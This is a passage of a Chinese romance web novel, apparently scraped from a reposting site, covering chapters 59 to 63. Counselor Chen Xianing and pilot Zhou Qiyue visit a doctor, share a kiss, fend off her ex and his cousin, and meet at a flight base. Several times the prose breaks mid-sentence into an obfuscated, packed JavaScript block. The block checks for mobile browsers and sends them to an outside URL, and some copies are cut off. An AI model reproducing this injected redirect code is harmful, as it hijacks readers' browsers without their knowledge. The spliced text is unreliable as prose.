“可能他玩了一圈,发现我最好骗吧。”陈夏柠低哂一声,现在她根本不在乎江逸风是否浪子回头,只想着他别来打扰她和周祈越的生活就行。 站在这个年纪,陈夏柠能够有着清醒的认知,但她的学生温可颜却没有。 周末空闲下来,她将手机的照片上传到企鹅相册里,谁知打开企鹅号就刷到了论坛里热火朝天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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周祈越先进屋,把门关上,随即把人抱在怀里,似乎在用气音说话:“想我就直说,随时出现。” “嗯。”陈夏柠小鸟依人地蹭了蹭他胸膛,“我家密码你都知道,以后不用按门铃了。” “哦。”周祈越没皮没脸地说,“要是我进来的时候,你在光着身子怎么办,也不介意是吧。” “......周祈越!”陈夏柠从他怀中抽开,严肃地瞪他一眼。 “某人又不是没走光过。”他小声嘟囔着,指上次酒店视频那回。 “不想理你了。”陈夏柠转身刚走一步,周祈越就牵起她的手腕,揉着她掌心,“带你去个地方。” “去哪?”陈夏柠眼前一亮,他们俩还没正式约会,心里正堵着一口气,想出去散散心。 “到了你就知道了。”周祈越讳莫如深地说,陈夏柠就当他在给她惊喜,兴味盎然地回卧室打扮一番。 下午三点左右,海云市医院。 周祈越牵着她走到门口,陈夏柠抬眼一看中医科,脚步停住,嘟着嘴:“你倒是挺别出心裁,带我来医院约会。” “.......” 周祈越噙着笑,握住她的手,解释说:“以后痛经别吃布洛芬了,那药很伤身体,这是我预约的专家号,你好好看看,调养好身体,以后也少遭罪。” 原来是这样。 来都来了,陈夏柠也不好推辞,进屋入座。 面前是一位五十多岁的女中医,她看了眼两人,开口就问:“最近性生活是什么时候?” 陈夏柠:“……” 周祈越:“……” 60. 接吻 不曾想会有这种问题,原本陈夏柠就脸皮薄,偏偏还有周祈越在,尴尬得她愣了几秒。 看这姑娘唰的一下脸红了,老中医对这事司空见惯,也不懂弯弯绕绕,追问:“很频繁是吗?” “......” 她好想找个地洞钻进去。 身后的男人清咳一声,抢先说:“没有性行为。” 陈夏柠放在桌下的手,抓了抓衣角,强忍住想钻地洞的心,重复:“我没结婚,也没有过性行为。” 医生拿着手电筒,让她张嘴,看她舌头,有感而发地说:“难得啊,洁身自好是好事,来我这看病的人,连学生都有流产经历,女孩子一定要爱惜自己。” “嗯。” 医生瞟了眼跟着认真回答的男人,勾唇笑了,他正低着头帮姑娘整理头发。 陈夏柠今天扎着低马尾,乌黑的发丝光滑,发圈悬在发梢末尾快要掉落,见状周祈越抽走发圈,将她鬓边凌乱的头发别在耳后。 她头发披散着也好看。 周祈越看她耳朵红的厉害,知道自己在这不方便了,拍了下她肩膀,“我出去等你。” “好。”陈夏柠看他一眼,人走后,老中医直白的问题也没让她的尴尬缓解多少。 还好是中医,不用做什么遭罪的检查,仅仅看她面相和掌心纹路,就有了诊断,并给她开方子抓药。 周祈越按照药方取来一大兜中药,已经研磨成粉,医生告诉她直接用热水泡茶喝就行,陈夏柠点头应和着,走出医院的时候,不禁叹气。 “我就猜是这样,要喝中药。” 上学那会女同学痛经是常事,情况比她严重的比比皆是。 这些同学当中不乏有去医院治疗的,最后都说没用,根本治不好。 所以陈夏柠听信这些,就没来医院看过。 “不试试怎么知道没用。”周祈越揽着她的肩膀,去找停车的位置,循循善诱道,“中药就是坚持喝才有用,你得坚持完整个疗程,肯定会好的。” “好吧,我坚持喝。” 陈夏柠这句话打脸的速度来的极快。 晚饭后,周祈越用勺子舀取适量,放到玻璃杯用热水冲开。 陈夏柠就抿一小口,果断放下杯子,“我不喝了。” 她最怕苦了,中学时期感冒咳嗽那些小病,一度让她成为药罐子,现在身体强健了也最怕药。更何况中药最苦。 见她想跑,周祈越手臂一伸揽着她的腰,把人重新扯回沙发上坐好,杯子送到她嘴边,“乖,我亲自喂你。” “不喝。”陈夏柠别过脸,跟三岁小孩似的,压根不领情。 “......” 周祈越好笑地看她,随即化身一位强势的家长,“不喝今晚就别睡觉了。” “......” 陈夏柠腰上的力度收紧,整个要贴在他身上了。这么僵持也不是办法,抬起眼,讷讷道:“其实我生理期的时候也不是很痛。” 她上周就不该扯谎说自己那样是因为生理期。 周祈越手臂抽出来捏了捏她鼻子,盯着她的眼睛,拖腔带调道:“陈老师还真娇气,喝个药还跟我推三阻四,羞不羞。” 陈夏柠嘟囔道:“又不是你喝,你当然会这么说。” “哦。”周祈越皮笑肉不笑,“非得我喝一口,你才肯喝是吧。” 这主意不错,她眼神示意,邀请他,“行啊,你尝尝。” “......” 周祈越受到挑衅,一股脑热地举起杯子,唇角碰到杯沿,药水往嘴里进,余光瞥见陈夏柠已经在憋笑了。 “......” 好啊,他被套路了。 下一刻。 大灰狼将小白兔抱在怀里,凌厉的目光锁住她,语气冰冷利诱威胁:“你再狡辩试试。” 陈夏柠:“......” 她现在的姿势很被动,坐在他腿上,男人的手臂也缠在她腰肢。 要是再不听话,今晚铁定睡不了觉了。 明天还得上早班呢。 唉。 骑虎难下,不,应该说是骑“狼”难下。 喝吧。 陈夏柠双手捧着瓶身,盯着杯中的液体,神色凝重,闭了下眼,一口气喝下去。 目睹全过程的周祈越,只觉得她像一个被逼着喝毒药,慷慨赴死的将军。 “......” 陈夏柠将空杯子放到茶几上,口中的苦涩令自己咳嗽几声。 周祈越知道有多苦,他的表情管理也快收不住了,掏了下裤兜,搜罗出一颗柠檬糖。 陈夏柠吐了吐舌头,眼疾手快地拿过那颗糖,撕开,将糖果送到嘴里。 “就剩一颗了,”周祈越盯着她,“没说给你。” 陈夏柠语塞,明明是他送到她面前的,现在又小气地跟她计较一颗糖。 她一脸无辜又你能奈我何的表情:“那我吃都吃了,能怎么办。” 说着正想从他怀中起开。 周祈越两只手抵在她腰肢两侧,眼底晦暗不明,“张嘴。” 陈夏柠茫然地“啊?”了一声。 忽地,周祈越低下脖颈,用自己的唇堵住了她的唇,她浑身一僵,瞳孔放大。男人的手掌后移,辗转往上托住她后脑勺,舌尖缓缓探入,撬开她的贝齿。 陈夏柠完全不知道自己该做什么,眼睫不停地颤动。 接下来一切,完全由周祈越主导,糖果在两人的唇舌间滚动,每次快到他口中,糖果又被推回来,一次又一次地,像故意调情。 口中没有了苦涩,只剩下柠檬香,她紧张地抓住他的衣领。 周祈越控制着轻柔的力道,后来感觉到她一点回应,将那颗糖咬碎,两人津液交融,含着糖渍吞咽了下。 慢慢地,陈夏柠紧闭双眼,两只手攀上他的脖颈,完全沉溺在这场吻当中。 原来跟喜欢的人接吻,是这样的,美好。 尽管她是生涩的,也会情不自禁地配合着他。周祈越用不同的角度攻略她,掠夺她的呼吸。情到深处时,又带着侵略性,在她唇舌里搅动。 直到陈夏柠发出呜呜的声音,周祈越这才肯松开她,眼眸藏着未褪去的欲念。 小姑娘呼吸到外部空气,大口喘息着,胸腔起伏不定。 周祈越手掌搭在她脊背给她顺气,勾出一抹痞笑:“你对象的吻技怎么样?” “......” 陈夏柠憋红着脸,看向别处,“就凑合吧。” “凑合?”周祈越呵笑,一手将她的脸挪过来,“那再来一次。” “......” 陈夏柠急忙从他怀中跳出去,站起来时腿都是软的,拉着他的胳膊,推搡着人出去。 周祈越:“干什么,亲完就轰人啊。” “我要睡觉了。”陈夏柠把人推到门外,“晚安。” “砰”的一声,房门关闭。 “......” * 第二天上午,陈夏柠工作不忙,坐在工位上盯着电脑,总是不自觉傻笑。 鹿雯盯着她看了好一会儿:“哟哟哟,陈老师春风得意呀。” 陈夏柠敛起笑容,“哪有。”随即岔开话题:“平日周一雷打不动的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14558515|148203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 例会,今天怎么没有啊。” 鹿雯漫不经心道:“书记和副院长忙着接待贵宾呢。” “贵宾?” “陈氏集团不是给我学校投钱了吗,人家千金来慰问工作了。” 闻言,陈夏柠心里咯噔一下。 说巧不巧,门口响起王书记的声音:“这边就是我们航院的辅导员办公室了,隔壁也有一间,不知道陈小姐的朋友是哪位。” 陈夏柠顺着声音望去。 陈之夏顶着明艳的妆容,双手背后,气场强烈,打量着屋里的四个工位,看向她时,挑了下眉。 陈夏柠收回视线,盯着电脑,佯装不在意。 但那脚步声不断靠近,人影也落在自己办公桌前。 陈夏柠的心不自觉往上提,不知道她想干什么,只知道陈之夏说过,如果她不把爷爷的财产交出来,那么她肯定不会放过她。 陈之夏回过身,虚靠在她办公桌,转眼看向斜对面的办公位,“思思,工作还顺利么?” 林思会心一笑:“挺好的。” 王书记眼波在两人流转,陪笑:“原来林老师就是陈小姐的朋友啊。” “对啊,大学同学呢。”说话间,陈之夏远离了她的办公桌,“王书记,您去忙吧,让我的老朋友带我转转。” “行。”王书记点头,看向林思,“好生招待陈小姐。” 等陈之夏和林思走出办公室,陈夏柠暗自松一口气。 王书记也走了。 办公室里只剩下三人。 宋月咂咂嘴:“这豪门千金的气场就是不一样,书记见了都得阿谀奉承一番。” “莫名奇妙。”鹿雯翻个白眼,吐槽道:“叙旧私下不行吗,这么大张旗鼓的,像是故意来显摆,跟谁摆架子似的。” “......” 陈夏柠眸色一沉,缄默不言。 中午,鹿雯跟她一起去食堂吃饭,三食堂三楼是专门设立的教师餐厅。 两人面对面坐下,扫桌上的码点餐。 鹿雯:“要不我们点一份麻辣香锅吧。” 陈夏柠:“可以啊。” 鹿雯抢先下单,她起身去窗口那里买米饭,忽然隔壁面条窗口传来一道爽朗的女声:“阿姨,我要一份大份的番茄鸡蛋面。” 一旁的林思给她递自己的饭卡,打趣:“夏夏,你未免也太喜欢番茄鸡蛋面了吧,隔三差五就吃,吃不腻吗?” “从小爱到大,不腻。”话间,陈之夏一转身,对上了陈夏柠的脸。 她神色并不好看,拿着米饭快速走开。 吃完饭,陈夏柠回到航院,去洗手间洗手,陈之夏紧随其后跟上来,堵在她面前。 “我有个问题想问你。”陈夏柠刚好有事问她,“什么叫做我顶替了你十年?” 陈之夏嗤笑:“你可真会装的,怪不得能骗到爷爷的财产。” 陈夏柠低不可闻地叹一声气,真的疲于应对陈家的任何人,绕道要走,“你不想说就算了。” 陈之夏松口谈条件:“想要知道答案,你把爷爷的财产转给我,我就告诉你。” 陈夏柠后续根本没再跟宋律师联系过,也明确拒绝遗产,不想再掺和陈家的任何事,一字一顿道:“我已经说了,我没有。” “装!你继续装。”陈之夏冷脸,“我都已经查清楚了,爷爷的财产目前只有你能启动,那本来就是不属于你的东西。” “对,不属于的我东西,我不会碰。”陈夏柠眉眼一抬,淡淡道:“你想要,就自己去拿啊。” “......” 两人无效沟通,不欢而散。 61. 投怀送抱 因为今天陈之夏的出现,陈夏柠惴惴不安了一整天,生怕她会搞出什么幺蛾子。差不多下午三点,书记大概是把人送走了,回到办公室简短开了一个小会。 一是催促学生积极报名青年创新创业大赛,二是又重复了之前开会的内容,海大要和隔壁的航空大学联合培养飞行员的事。 “航海技术和飞行专业所学内容有许多相同之处,且近几年确实有很多航司来我校招聘,林院长上任后很注重培养综合人才。”王书记翻着自己的记事本一板一眼地交待着,“最近就会先带一批学生去飞行基地,要求是大三的学生.......” 哎。 听了半天跟她们四个无关啊,她们都是大一大二的辅导员。 王书记很少说废话,今天也不知怎么了,一副心不在焉像是给她们汇报工作,“我这周会和院长一起去基地考察,妥善安排学生的后续实践。” 旁边的鹿雯狂点头给他捧场,自从上次她因为醉酒耽误了出差,书记对她的态度明显不如之前,现在不过是尽力挽回书记对她的好印象。 陈夏柠只是在想第一件事,总不能考察期间她没有任何业绩吧,导员的业绩无非就是学生取得什么荣誉,拿了什么含金量的奖项。 最近忙得晕头转向,她也没跟学生做大赛的指导,课间的时候陈夏柠特意将两个班的班长和年级第一喊到办公室。 “你们都报名青创比赛了吧?”陈夏柠视线从左到右依次流转,他们三人算是积极学习的学生了,他们要是没报,其他人更指望不上了。 裴青寂和池一舟斩钉截铁地说报了,乖软的温可颜慢吞吞地跟着应声。 陈夏柠满意地点点头,随即扫了眼大赛网页,“我看快到截止日期了,你们的选题怎么样?” “有了大致的方向,也找好指导老师了。”裴青寂看一眼池一舟,“不过目前就我们俩,按照大赛章程,起码得三人以上。” 话音一落,有两双眼睛同时满怀期待地望向温可颜。 “导员,我已经找好队友了。”在陈夏柠的注视下,女生眼神飘忽,像做了什么亏心事,含糊其辞地说,“跟其他学校的朋友。” 陈夏柠了然于心,她和江澈复合了,跟自己的男朋友组队理所当然。 收回目光时,陈夏柠瞟见池一舟落寞的神情,从进屋开始,他的眼睛就没从这姑娘身上移开过。 青春的暗恋听不见摸不着,却又能常常感受得到。 池一舟长得也不错,清爽阳光的大男孩,和乖软甜美的温可颜站在一起挺般配。 只是可惜,有人注定要单恋。 “我再帮你们问问还没有其他同学愿意参加。”陈夏柠将话题转移,跟两个班长说。 “好,谢谢导员。”裴青寂和池一舟应声。 陈夏柠跟他们多说了些新颖的选题方向,全程温可颜跟着附和,就是不敢直视她。 那晚宿舍楼外,江澈和温可颜的事情疯传得有多厉害,导员不可能不知道。 “导员,我以后会调整好状态,不荒废学业的。”最后一个离开的温可颜坚定地下发承诺,“谢谢你安慰我。” 既然她还是想和江澈在一起,陈夏柠既不能也没有资格去干涉她的感情,只是微微一笑:“嗯好。” - 次日中午,周祈越突然跟她发消息,说在五号门等着她。 陈夏柠一下班就兴奋地跑过去了,校外的店铺琳琅满目,但放学点学生也多,周祈越想跟她独处,就没在这边凑热闹,开车一公里到附近的吾悦新天地吃饭。 两人手牵手乘上手扶梯,陈夏柠转眼看他,平时中午他没时间回来的,就在单位解决,“你今天怎么有时间了?” 周祈越牵手时总喜欢揉她柔软的指尖,再加上他的指腹带着点粗茧,那种一下又一下的摩擦力似乎有节奏感,挠在两人的心尖。 他视线钉在她身上,拿腔拿调道:“因为我听见某个姑娘的心声,特想跟我一起吃午饭,我就过来满足她一下咯。” 陈夏柠:“......” 她正想说,你少臭美了,我才没想你。 手扶梯后面有人急匆匆喊着“让一让”,她下意识往右边站,因着一点点的擦肩而过,陈夏柠身体一歪,周祈越及时去扶她。 远处的场面就是,她主动靠向了他。 陈夏柠愣了一下。 周祈越侧着身体,一只手臂缠在她腰上,另一只手顺着她的肩膀往下滑,握住她的左手。 他怎么还没松手啊。 陈夏柠这个姿势属实别扭,很快下扶梯,到了三楼美食城,人流较多的地方。 虽然商场里最常见亲热的情侣,还有当众接吻的,她都见过。但陈夏柠实在没这个脸,当着这么多人的面跟他靠的那么近,别扭地挣脱他。 周祈越一看两人间银河般的距离,眼瞧着要变成一个生气的“怨妇”。 陈夏柠识趣地凑过去一点,正儿八经地说:“我是老师,外加党员,出门在外得注意形象。” “嗯。”周祈越老实巴交地只牵她右手,边走边说,“我媳妇正得发光。” “.......” 此言一出,陈夏柠脑海闪现一道神曲——正道的光。 “.......” 两人停在一家口碑较好的韩式料理,周祈越订了个榻榻米包厢,装修风格温馨舒适。 陈夏柠刚坐在垫子上,原本该坐在那她对面的周祈越移在了她左边,双手撑在身后,微仰着头,一条腿伸着一条腿曲着,整个慵懒舒适的姿势。 不知道为什么,她脊背一凉,指尖微颤,感觉后脑勺有双眼睛在盯着自己的一举一动。 在等上菜的期间,屋内安静得莫名其妙。 周祈越悠悠地开口:“现在没人。” 陈夏柠捞起桌上的茶壶往杯子里倒茶,“咱俩不就是人。” “......”周祈越发出一阵笑腔,坐直了些,身上那股清爽的乌木香像无形的爪牙一样笼罩着她,“我这专门订包厢,不就是方便你施展。” 陈夏柠一愣,施展?施展什么? 周祈越抬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14630745|148203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手将她的脸转向自己,自带读心术似的,笑得像个妖孽,“陈老师可别多想啊,我只是允许你在这抱一抱你男朋友。” 陈夏柠:“......” 所以他这是觉得方才她是故意抱他的了。 又因为她在大庭广众之下施展不开,所以他订了个包厢让她施展。 这回实锤了,周祈越就是戏精。 下一刻,陈夏柠直起腰,双手缠在他脖颈,用力地给他一个拥抱。 用力到周祈越被勒得直咳嗽,“你干什么,谋杀亲夫啊。” “......” 陈夏柠真服了他这张嘴了,气鼓鼓地把人推到一边,自己起身坐对面。 恰好这时服务员来上菜,两人边吃饭边聊。 周祈越难得说起自己的工作,搜救局的飞行员工作时间并不固定,因为海上搜救飞行任务往往不可预测,大多都是突如其来的任务。 “我今天来是想跟你说,最近飞行队那边有个考核,筛选一批人去从内陆转移到沿海区域。”周祈越顿了一下,看着她说,“我最近可能要住在基地里,没法回来。” 陈夏柠心里有那么点失落,毕竟她工作也忙,这样两人见面的时间更少了,但没表露出来,莞尔一笑:“没事啊,你专心训练。” 周祈越起身挪过来,抬手将她的头靠在自己肩膀,其实是他想她了。 “对了,你得把你的校园卡给我。” “为什么?”陈夏柠觉得他肩膀很有安全感,微闭上眼。 “谢泽都有女朋友的卡,”周祈越还记得谢泽拿着校园卡随时出入,那股嘚瑟的模样。想到这,他抬手去挠她咯吱窝,像个顽皮的小孩,“你给不给。” 陈夏柠怕痒往后躲,求饶道:“给给给。” “......” 从餐厅里出来,原路返回乘扶梯,周祈越这回跟她调换了下位置,让她站在最里面,虚揽着她的肩膀。 陈夏柠满脑子都是方才包厢里的场面,两人互相挠着对方,最后胡乱作一团。 松软的榻榻米上,周祈越把她压在身下,双手捧着她的脸去亲吻。 “......” 周祈越回家简单收拾了下几件衣服放在行李箱,带往基地,今晚就没回来住。 睡觉前给她打了个晚安电话。 最近陈夏柠一门心思地希望自己的学生好好准备参赛,也帮池一舟和裴青寂找好了新队员,三人配合的不错。 就等着周末可以休息了,谁知周五下午,王书记把她喊到办公室,给她一个名单。 “这是准备首批去飞行基地训练的学生,明天我要去外地出差,你替我去吧。” “我?”陈夏柠下意识指向自己,就感觉挺突兀,这么重要的工作为什么要交给一个在考察期的辅导员。 “对,你不是林院长的得意门生么?”王书记双手交叉相握,胳膊肘抵在桌面,意味不明地笑了笑,“这次林院长亲自带头去,你跟着他,他肯定满意。” 这话,陈夏柠不知该怎么接,只能应下。 62. 海天一家 任务来的突然,陈夏柠只知道自己要确保名单上二十多号人到达指定地点。由于是两校的联合项目,航空大学飞行学院安排行程,带着两校的学生一同前往飞行基地。 周六吃完早饭,陈夏柠画了个淡妆,简单收拾一番,提前半小时来到海大的五号门,中间有个环形路,对面就是航空大学的三号门。 她从三号门进去,林荫大道上停着三辆大巴车,已有一些身着白色飞行制服的学生陆续上车。 司机师傅说攒够人就发车,陈夏柠跟大巴车拉开距离,站在十字路口的一颗樟树下掏出手机,点开群:【童鞋们快点呀!同寝室的互相催起来,飞院的学生都来齐了。】 群里有个班长李霄回复:【来了来了,自行车踩着风火轮加速呢。】 陈夏柠无奈笑了笑:【注意安全,别看手机[捂脸]】 李霄:【导员,你抬头看,我们跑过来了。】 陈夏柠下意识东张西望,只见左前方闪现一群蓝色制服,少年们迎着朝阳,神采奕奕地走过来,其中跑在前面跟她挥手的男生应该就是李霄了。 航海学院的男生大多开朗阳光,别看他们穿着成熟庄重的航海服,导员们经常调侃自己在带一群小学生,为他们操碎了心。 就比如此刻,李霄只顾着兴奋跑过来,也不顾得看十字路口的车,侧面窜出来一辆黑色宾利按着喇叭,男生愣了一下,还没来得及躲,车子就已停在他面前。 目睹该场面的陈夏柠霍然一惊,急忙跑到车头前拉李霄,扫视他一圈,“怎么样,撞到了没。” 李霄挠了挠后脑勺,嘿嘿一笑:“没事啊,导员,我运气一向很好。” 陈夏柠正要教训他,你可长点心吧。 “砰”的一声,宾利的车门打开,一道冰冷的拽音插进来:“得亏爷的车技好,否则你哪来什么屁运气。” 李霄:“......” 看见是江逸风,陈夏柠脸色突变,视线快速略过他,转回看李霄,“以后小心点,快上车吧。” 李霄说了个“好”,挪步要离开,又一阵开门声,后车门出来另一个匪夷所思的人,江澈。 “早啊江澈,”李霄乐呵呵地走到他跟前,“差点忘了,飞行训练怎么能少了你。” “你小子也不赖,改天我也试试开船怎么样。”江澈握着拳头锤了下他肩膀,跟李霄并排走,顺带朝身后的江逸风摆摆手,“哥,晚上有空来接我啊。” “没空。”江逸风啧了一声,目光转向面前的女人,刚上前一步,她就跟惊弓之鸟似的后退两三步。 男人语气轻佻,笑容浪荡不羁:“怎么,我又不会当众收拾你。” “......” 陈夏柠低骂了声“神经”,转身跑到大巴车前,按着手机名单点名。看见江澈和李霄一同上车,她方才就纳闷,江逸风什么时候有弟弟了。 航院的学生已经到齐,陈夏柠告知司机师傅,跟着坐上车。 大巴车缓缓驶出校门口,她坐在前排窗边的位置,靠着玻璃窗犯困,江逸风的车蓦然闯入视线,跟大巴车并排行驶着。 他到底想干什么。 不经意跟他目光相撞时,男人朝她露出轻浮玩味的笑容。 陈夏柠烦躁地拉上窗帘,闭上眼睡觉,没过一会儿,心里的那个疑问有了答案。 江逸风和江澈都姓江,他好像是有个堂弟来着。 陈夏柠打开航空大学的论坛,搜了下有关江澈的信息,果不其然,两人的确是堂兄弟的关系。 在此之前,陈夏柠并没见过他这个堂弟,只是曾经从萧婷和江母的谈话中得知,江逸风的叔叔和阿姨离婚了,有个儿子在国外读书。 也是高中的时候,江澈随着父亲回国,但父子俩的关系勉勉强强,不怎么受管教。高中时期早恋被老师叫家长,都没人能奈何江澈。 这么一想,江澈和江逸风的确很像,同样是沾染百花的浪子。 不愧是堂兄弟啊。 陈夏柠摇了摇头,担忧温可颜并不能以真心换真心。 - 车子大约行驶了两小时,陈夏柠抬眼看见车前方的景色,白云伏低,天空湛蓝。她拉开窗帘,一眼看见近在咫尺的蔚然大海。 “快看快看。”同学互相喊着邻座,举起手机拍景色,“临港的天空和海最蓝,空气质量也比市区好上几倍。” “就是太远了,我腰都坐酸了。” “还有多久到飞行基地啊。” “五分钟。”司机师傅应声。 车子停下来后,陈夏柠待在原位换气让自己平稳呼吸,整理好状态最后一个下车,带着学生有序从入口进去。 李霄瞥见她脸色发白,额头冒汗,关怀道:“陈老师,你不舒服吗?” 陈夏柠淡淡道:“没什么,坐车太热了。” 林院长和副院长已经在接待室等着了,两校的领导先是开会商讨学生训练模式和培养方向。陈夏柠来的晚,坐在角落里听了个三三两两。 会议结束,她跟着院长和副院长去训练场参观,室外比室内更加热闹,有教官带着学员在做滚轮、旋梯、单双杠这些飞行员必要的体能训练。 最后来到尘土飞扬的飞机跑道上,两架直升机并排而行,一同冲向天际。 顷刻间,天空好似变成一道蓝色的背景板,飞机尾气成为了画笔,描绘出两道白色线条,两架飞机并排而行。 驾驶L-422的机长沈屿山喊话:“周祈越,咱俩这局能不能胜出在此一举了。” 他们正在进行一场飞行难度测试,考核两位机长能否协作一致,至于怎么做全靠两人自行决定。 J-711的周祈越拉动操纵杆,最先偏离轨道,回复沈屿山:“会画画么?” “......” 站在地面仰头看赛事脖子都酸了,陈夏柠收回视线没几秒,身后跟过来观看的学生连连尖叫:“我天,好牛逼啊,两架飞机配合度太高了。” 陈夏柠继续观看,J-711和L-422的轨迹完全对称,前者较为领先,引领着后者。飞机轨迹练成一个椭圆,随后又在汇合处拼凑出一个小椭圆,看到这,旁边已经有人推测图案:“这怎么像个水果,那个小椭圆是叶子。” “诶,还真是啊。” “怎么感觉这两人在用飞机轨迹画画。”李霄推着江澈的肩膀问,“你觉得这是什么水果图案。” 江澈意兴阑珊道:“不就是一个轨迹吗,哪来那么多奇思妙想。” 陈夏柠看得极为认真,唇角上扬,随即掏出手机将头顶的图案拍下来。 她觉得,是柠檬。 随后,直升机螺旋桨发出的旋转声响缓缓逼近,J-711和L-422同时下降,落地。 J-711机舱的门打开,男人迈出遒劲的长腿,取下墨镜,身上深蓝色连体服被他穿的有版有型,迈着步伐走过来时,光线打在他俊朗的脸庞,整个人英姿焕发。 陈夏柠心跳怦怦然,眼前快速闪回一个少年形象。 大二那年,坐在她身后,穿着蓝色航海服,雨天给她送伞的同学。 学校贴吧里看到的那位回校分享经验的学长。 蹲在奶茶店门口痛经时,给她送热水,只留下一道白色背影的好心人。 越过四季岁月,少年风韵犹存。 周祈越一直都是耀眼的存在。 陈夏柠不禁感到遗憾,过去有那么多认识他的机会,她一次都没抓住。 那时的她,有没有想过,在未来,自己会遇见一个真正值得喜欢的人。 他的眼里只有她,让她时常觉得相见恨晚。 周祈越来到一众人面前,看向她的神情,似乎并不意外她出现在这,转身朝自己的老师礼貌颔首,“林教授您好。” “我说是谁呢,原来是周同学啊。”林清模欣喜一笑,看向旁边的同学,抬手指向他介绍,“这位是你们的学长,周祈越。” 同学们热情喊着“学长好”和“学长好帅”。 林清模思量他的情况,语气带着点惋惜:“就这么打算 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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方才在车上听见海浪声,看见蓝色的海水,她除了心慌和头疼的反应外,脑海里竟然闪现那些出现在梦里的场景...... 正沉思着,面前落下一道人影,是江逸风。 她现在根本没心情应付他,身体也软绵绵地靠在椅背上,索性他规矩地坐在她对面。 陈夏柠微合上眼,拒绝沟通的模样。 江逸风酝酿了下情绪,生怕再让两人的谈话陷入僵局,尽量让自己的语气温和:“我很抱歉,之前说过那种话让你伤心了。” 许佳念说,江逸风后来又找过她一次,她骂人上头,情绪激动地没刹住车,把陈夏柠曾在他生日那天听到他嫌弃她假千金的事说漏了嘴。 江逸风如梦初醒般,搞懂自己做错了什么事。 “知道你是假千金后,我爸妈跟我说了很多耳边风,所以我当年就是一时气话......”江逸风抬眼,正色道:“夏夏,你就当做我曾经年少气盛,说了违心的话,你别放在心上行么?” “......” “给我最后一次机会,让我弥补你行么?” 陈夏柠眉心微蹙。 忽地,一道清澈干脆的嗓音插进来:“不劳烦江先生了,我的女孩,轮不着你来弥补。” “......” 陈夏柠睁开眼,站起来,像只病恹恹急需求安慰的小猫,主动往他身后躲,周祈越随即把人揽在怀中。 见状,江逸风脸色一黑,上前一步试图挽留地喊:“夏夏。” 陈夏柠似乎更厌烦了,想捂住耳朵,再也不要听见别人喊她夏夏。 下一刻,她脚下一轻,整个人腾空起来。 当着江逸风的面,周祈越果断宣誓主权,将陈夏柠打横抱起,这姑娘也极为配合地勾着他的脖颈,脸埋在他胸膛。 整个大厅只剩江逸风一人,双手紧握拳头,手臂青筋暴起。 似乎没人相信,他这次是认真的了。 63. 梦境 周祈越抱着她回自己宿舍,基地的宿舍虽是单人间,但较为简陋,床是上下铺,上面用来放零碎的东西,下面用来睡觉。 他们搜救局在这的待遇算是好点,卧室有空调,连着单独的洗漱间。 陈夏柠被他放到床上,一量体温,果然是发烧了,37.5。 她不喜欢去医院,周祈越是知道的,刚在医务室拿了退烧药,让她先吃下。 “你先在这睡一觉,”周祈越坐在床沿,帮她脱外套,盖被子边说,“要是没退烧,就听话去医院输液。” “嗯嗯。”陈夏柠眨了下眼,侧躺在床上跟他对视,而后想起了什么,打开手机翻出自己刚刚拍的照片,“周祈越,这个图案是不是柠檬啊?” 周祈越弯腰看她,说话难得认真:“对,专门给你看的。”然后收走她的手机,“快点睡觉。” 陈夏柠眼皮子在打架了,含混不清地问:“你怎么知道我会出现。” 周祈越张了张口,再抬眼,这姑娘就进入睡梦中了,视线挪到自己的腕表上。 笨蛋,我不是跟你说过,我们两的手表可以互相感应么。 周祈越是上飞机前察觉到表盘上有个小红点在发亮,只要对方出现在方圆百里内,另一方的表盘就有反应。 不曾想周六应该在家休息的她,竟然带病来上班。 仔细一想,陈夏柠每次发烧都是一副不自知的状态。 周祈越盯着她睡觉的模样看了一小会儿,低不可闻地叹了声气。 还跟小时候一样,看似懂事得不用人操心,实则照顾不好自己。 棉被散发着他身上的乌木香,陈夏柠闻着就很安心,很快进入深度睡眠。 “小柠檬,你快点过来,这里有好多螃蟹。”小男孩跑到海岸边喊她的时候,小女孩正在不远处挖沙滩。 小女孩撂下手边的小铲子,盛气凌人地跑过去指挥他,“讨厌的......快点捉螃蟹!今晚要吃大餐喽。” 于是小男孩亲自上手把抓来的螃蟹放进水桶。 渐渐地,这些场面拉远,在视野中消失不见。 陈夏柠的发烧当晚就退了,但这几天循环反复地做着这个梦。 那个小女孩是自己吗? 如果是,为什么每次女孩口中喊着男孩的名字,她都听不清。 男孩的名字到底叫什么。 而且很奇怪,她明明那么怕海,却又循环梦见海边场景。 着实自相矛盾。 - 中午下班时,陈夏柠顺着人流走向最近的三食堂,中途接了一个电话。 